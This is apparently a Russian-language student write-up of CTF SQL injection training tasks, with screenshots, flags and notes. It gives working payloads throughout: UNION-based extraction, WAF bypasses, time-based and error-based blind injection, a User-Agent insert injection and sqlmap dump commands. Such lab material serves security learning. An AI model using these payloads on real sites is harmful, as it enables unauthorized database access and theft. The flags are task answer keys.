---
# System prepended metadata

title: 20 октября — SQL-инъекции

---

# 20 октября — SQL-инъекции

## TASK №1
![](https://i.imgur.com/vk5D484.png)

:::info
Просто вводим имя Kurome
:::

:::warning
flag: spbctf{i_l0ve_cookies_and_sist3r}
:::



## TASK №2

![](https://i.imgur.com/6EZtOOY.png)

![](https://i.imgur.com/NQ1Bg5s.png)

:::info
==SQL-request:==
 0' OR name = 'Yuno Gasai
:::
:::warning
flag: spbctf{I_w@nt_to_kill_y0u!!}
:::



## TASK №3

![](https://i.imgur.com/9N6wULR.png)

![](https://i.imgur.com/ANbA0nb.png)

:::info
==SQL-request:==
 LINA' -- c
:::

:::warning
flag: spbctf{One_wh0_is_darker_than_twilight}
:::

## TASK №4

![](https://i.imgur.com/zWfI70j.png)

![](https://i.imgur.com/neKaaMG.png)

:::warning
flag: spbctf{my_weight_is_40kg____}
:::


## TASK №5

![](https://i.imgur.com/Y6j7PcM.png)

![](https://i.imgur.com/jbP7g9P.png)


:::warning
flag: spbctf{I_am_girl_magician!!}
:::



## TASK №6

![](https://i.imgur.com/nkQkrez.png)

![](https://i.imgur.com/zBSOZ8O.png)

:::warning
flag: spbctf{mmya_____nyaaaa!}
:::


## TASK №7

![](https://i.imgur.com/wv4HpO4.png)

![](https://i.imgur.com/z8D7YIX.png)

:::info
C помощью ==SELECT * FROM INFORMATION_SCHEMA.TABLES== выводим список всех доступных таблиц в бд и находим таблицу type: BASE TABLE с именем table_b87b13ee3f01597899d340cce7bdcc53
пишем запрос ==SELECT * FROM table_b87b13ee3f01597899d340cce7bdcc53==
:::

:::warning
flag: spbctf{heh_you_w0n_my_3ng1n3}
:::



## TASK №8

![](https://i.imgur.com/zjroAx1.png)

![](https://i.imgur.com/RRqbCLj.png)


![](https://i.imgur.com/P6zjvmh.png)


:::info
sql debug выводит данные из таблицы age -> нам надо ее скипнуть, методом проб и ошибок понимаем что макс возраст 138 и после этого таблица не выводится ->
через UNION пишем второй запрос и находим флаг
req: ==1312 UNION SELECT flag, 2, 3 FROM flag==
:::

:::warning
spbctf{f1r57_bypa55}
:::

## TASK №9
![](https://i.imgur.com/VRTJYuy.png)
![](https://i.imgur.com/wSA5EH3.png)


:::info
пробуем ==1337 union select id, name, flag from flags==
получаем кучу флагов 
![](https://i.imgur.com/PUDgUvO.png)

видим что реальный имеет имя 7e6d83ade8bcbea8
пробуем: 
==124247 union select id, name, flag from flags where name='7e6d83ade8bcbea8'==
Получем ошибку и понимаем что надо закодировать имя в хексы
![](https://i.imgur.com/zSkigMi.png)
name= 0x37653664383361646538626362656138
:::

:::warning
spbctf{7f95f2e1d57eb5605e77a48f735e60f5}
:::

:::success
## TASK №10
(https://web-kids20.forkbomb.ru/tasks/websql_bypass6)
:::

![](https://i.imgur.com/Hn1MvbA.png)
![](https://i.imgur.com/lzA7Qvy.png)

:::info
видим что уязвимость есть в get поле  
?product_id=1 UNION SELECT flag, 2, 3 FROM flag ->
?product_id=1%20UNION%20SELECT%20flag,%202,%203%20FROM%20flag
:::
![](https://i.imgur.com/HgJFzgm.png)

:::warning
spbctf{63ddd1876f0f8fa8}
:::

:::success
## TASK №11
:::
![](https://i.imgur.com/m6Bv2js.png)

![](https://i.imgur.com/XBmF5gf.png)

:::info
видим что нам WAF заблокировали большинство символов
гуглим bypass space filter sql injection на сайте owasp узнаем спопобы обхода
кодируем имя b548d45080b9d110 в хексы-> 0x62353438643435303830623964313130:
```
132342/**/UNION/**/SELECT/**/*/**/FROM/**/flags/**/where/**/name/**/like/**/0x62353438643435303830623964313130
```
:::


:::warning
spbctf{65bf992073ff5b30a2eb10b0d04d9110}
:::


## TASK №12
(https://web-kids20.forkbomb.ru/tasks/websql_bypass5)

![](https://i.imgur.com/I3Dwpnp.png)
![](https://i.imgur.com/tZin0u9.png)
![](https://i.imgur.com/CPZGXGH.png)


:::info
waf тут в виде регулярки гуглим что она значит и пишем запрос
имя также переводим в хексы
```
133232 UNION  seLect id, name, flag from flags where name like 0x33663161373665353336613061383035
```
:::

:::warning
spbctf{ecdab8d55512b3a70c367f392b2f3a89}
:::




## TASK №13

(https://web-kids20.forkbomb.ru/tasks/websql_bypass6)
![](https://i.imgur.com/JrbTl9R.png)
![](https://i.imgur.com/EDNGGDR.png)

![](https://i.imgur.com/CJHmtLx.png)
:::info
видим что заблочена запятая и нам надо вывести несколько столбцов, гулим байпас для этого
находим фичу через join(select '123') as name
``` 
133232 UNION seLect * from flag join (seLect '12') as a join (seLect '12' ) as a
```
понимаем что надо разные имена для столбцов и исправляем ввод
```
133232 UNION seLect * from flag join (seLect '12') as a join (seLect '12' ) as b
```
:::

:::warning
spbctf{y34h_impo55ible_7ask_d0ne}	
:::


## TASK №14

![](https://i.imgur.com/vlbK2CK.png)
(https://web-kids20.forkbomb.ru/tasks/websql_bypass7)
![](https://i.imgur.com/PkvjdiB.png)
![](https://i.imgur.com/IOxgJAP.png)


:::info
видим что заблочен любой регистр слова select ищем обход этого(сайт бурпа ван лав нашел там)
можно юзать SELSELECTECT
``` 
132372 union SELSELECTECT flag, 1, 2 from flag
```
:::

:::warning
spbctf{selselselectectect_me_nonononowwww}
:::



## TASK №15

(https://web-kids20.forkbomb.ru/tasks/websql_bypass8)
:::
![](https://i.imgur.com/qqWqTAE.png)
![](https://i.imgur.com/bYLcEcb.png)
![](https://i.imgur.com/AyHX2mb.png)

:::info
waf тут в виде регулярки гуглим что она значит и понимаем что имя в хексы нельзя перевести
тогда нужно подумать как поиграться с полем name
методом проб и ошибок я случайно получаю с помощью order by age флаг
``` 
132372 union select id, name, flag from flags order by age
```
(==сук пздц зачем так много неправильных флагов боль==)
понимаю что флаг неправильный и с помощью лимитов добираюсь до нужного имени флага
```
132372 union select id, name, flag from flags order by age limit 614, 1
```
:::

:::warning
spbctf{7a9cc937ed8c991f5fc5a87931810468}
:::

:::success
TASK №16-------------------------------------------------------------------------------------------
(https://web-kids20.forkbomb.ru/tasks/websql_time1)
:::
![](https://i.imgur.com/aBAknR9.png)
![](https://i.imgur.com/3xOe4Lu.png)
![](https://i.imgur.com/uhSONm3.png)

:::info
- в названии вижу слово time, значит надо искать инъекции свзяаные со временем
путем гугла нахожу такую штуку как blind-injection и читаю че это за зверь
нахожу такую штуку SELECT * from (SUBSTRING(version(),1,1)=5,SLEEP(5),null)
- читаем как работает SUBSTRING(string, start, length) и переделываем инъекцию под себя
:::
```
	IF(SUBSTRING((select flag from flag),1,1)='s',SLEEP(5),null)
```
сайт уснул а значит у нас есть здесь full-blind inj
spbctf{g00d_j0b_try_h4ard}


:::success
TASK №16-------------------------------------------------------------------------------------------
(https://web-kids20.forkbomb.ru/tasks/websql_time2)
:::

![](https://i.imgur.com/sLUVSDQ.png)
![](https://i.imgur.com/TynGZXW.png)
![](https://i.imgur.com/ldJj5mh.png)

:::info
изучая исходны php код видим что есть инъекция в user-agent`те и пишем инъекцию
в бурпе меняем строчку с юзер агентом на 
:::
```
	asasa', (select flag from flag)) ON DUPLICATE KEY UPDATE time = NOW(), useragent = (select flag from flag) -- qwe
```
:::warning
spbctf{7a9cc937ed8c991f5fc5a87931810468}
:::


:::success
TASK №17-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/login/)
:::
![](https://i.imgur.com/dX1CtTE.png)
![](https://i.imgur.com/OChRUFg.png)

:::info
сомтря на исходный код состовляем инъекцию
12' and 1=2 union select flag from flag where flag like "%" -- qwe
подбираем кол-во столбоцов
12' and 1=2 union select flag, 1, 2 from flag where flag like "%" -- qwe
перебираем всемозможные цифры по очереди
12' and 1=2 union select flag, 1, 2 from flag where flag like "1-9%" -- qwe
:::

:::warning
spbctf{6908819}
:::


:::success
TASK №18-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/error1/)
:::
![](https://i.imgur.com/xPUrieB.png)

![](https://i.imgur.com/bWBhwAm.png)


:::info
сомтря на исходный код видим что есть waf с регуляркой, 
гуглим что она значит -> (регистронезависимый бан слова sleep)
думаем как это можно обойти(судя по названию это error-based inj)
ищем как ее составить -> SELECT extractvalue(rand(),concat(0x3a,(select version())))
:::
```
SELECT extractvalue(rand(),concat(0x3a,(select flag from flag)))
```
:::warning
spbctf{0h_noo_3rr0r}
:::

:::success
TASK №18-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/error1/)
:::
![](https://i.imgur.com/2S0ztzZ.png)

:::info
юзаем инъекцию из прошлого таска и понимаем что функция обрезает наш флаг
попробуем вывести часть флага с помощью сабстринг (js привет спасибо что ты есть)
```
extractvalue(rand(),concat(0x3a,substr((select flag from flag), 25, 27)))
```
:::

:::warning
spbctf{0h_h3r3_w3_g0_4g4in__but_w41t_it_s_too_long_c4n_i_f37ch_17_all__pl3453_st0p_wr1t1ng_such_r4nd0m_w0rd5_here}
:::

:::success
TASK №19-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::
![](https://i.imgur.com/xB4iL2m.png)
![](https://i.imgur.com/I5qPWcq.png)
![](https://i.imgur.com/4CBFLwi.png)


:::info
с помощью подсказки понимаем что надо вывести схему, прчием в одной строке(с помощью group_concat)
select group_concat(table_name) from information_schema.tables
```
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_LOCK_WAITS,INNODB_SYS_TABLESTATS,INNODB_CMP,INNODB_METRICS,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FOREIGN,INNODB_SYS_COLUMNS,INNODB_SYS_INDEXES,INNODB_FT_DEFAULT_STOPWORD,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_CMPMEM,INNODB_FT_INDEX_TABLE,INNODB_FT_BEING_DELETED,INNODB_SYS_TABLESPACES,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_SYS_TABLES,INNODB_BUFFER_POOL_STATS,INNODB_FT_CONFIG,==s3cr3t5==
```
получил вот такую штуку вижу таблицу secret
судя по waf значения передаваемые в where нужно будет кодить в хексы (s3cr3t5 ->0x73336372337435)
для начала узнаем какие столбы есть в нашей таблице
```
(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_name=0x73336372337435)
```
получаем имя нашего столбца: mystery_here
объединяем:
```
select group_concat(mystery_here) from s3cr3t5
```
:::

:::warning
spbctf{3efa91900e6f144f252a40f43dfc1f55}
:::



:::success
TASK №20-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::
![](https://i.imgur.com/dgwaL5T.png)
![](https://i.imgur.com/lctKRVo.png)


:::info
видим что у нас есть два поля ввода offset и limit
гуглим что такое  offset

понимаем что конец запроса выглядит примерно как LIMIT 0, 5
значит можно добавить наш любимый union select
в поле limit вставляем:
```
3 union select 1
потом 
3 union select 1, 2
потом


```
понимаем что в нашей таблице 2 столбца
пробуем вытащить флаг
```
3 union select flag, 2 from flag
```
получаем имя нашего столбца: mystery_here
объединяем:
```
3 union select flag, 2 from flag
```
:::

:::warning
spbctf{your_only_limit_is_youuuuuuu}
:::


:::success
TASK №20-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::
![](https://i.imgur.com/dgwaL5T.png)
![](https://i.imgur.com/lctKRVo.png)


:::info 
такс называется sqlmap значит надо почитать про эту тулзу

понимаем как она работает и запускаем с параметром -u и видим что нашла time-blind inj
гуглим как сделать там и в исходном коде вими что таблица назвается level24( -D level24)
:::
```
sqlmap -u http://kslweb1.spb.ctf.su/third/level24/?product_id=1 -D level24 --dump
```

:::warning
KSL{164c45c9d60377a2dac48573c5032f3f}
:::


:::success
TASK №21-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::
![](https://i.imgur.com/sW0FNX7.png)
![](https://i.imgur.com/0aVg3m0.png)
![](https://i.imgur.com/XYqhXOY.png)


```
sqlmap -u http://kslweb1.spb.ctf.su/third/level25 --data=query=qwe -D level25 --dump-all
```

:::warning
KSL{0ad94627ddbea090607cd26d81105c4c}
:::


:::success
TASK №22-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::
![](https://i.imgur.com/JG7eInm.png)

![](https://i.imgur.com/0GkrgEM.png)


:::info
вдим что тут прикол какой-то с юзер агентом
значит надо sqlmapу сказать что инъекция в юзер агенте:
:::
```
sqlmap -u http://kslweb1.spb.ctf.su/third/level26 --headers="User-Agent:test*"
```

:::warning
KSL{0c9b5c8931db3504543b87f0c890d2ba}
:::


:::success
TASK №23-------------------------------------------------------------------------------------------
:::info
все как в прошлом таске только он выводит очень много таблиц и надо узнать как отфильтровать по конкретной таблице flag(находим параметр -T)
:::
```
sqlmap -u http://kslweb1.spb.ctf.su/third/level27/?product_id=1 -D level27 -T flag --dump
```
:::warning
KSL{af6c2f971acf764e1b031360545f48bd}
:::



==ласт таск 33 я не буду оформлять я заемался==

вот кароче команда данные data я в бурпе взял
```
sqlmap -u http://kslweb1.spb.ctf.su/sqli/logineasy/ -data 'login=qwe&password=qwe' -D login1 -T flag -t 32 --dump
```

вот кароче флаг spbctf{jackdaws love my big sphinx of quartz}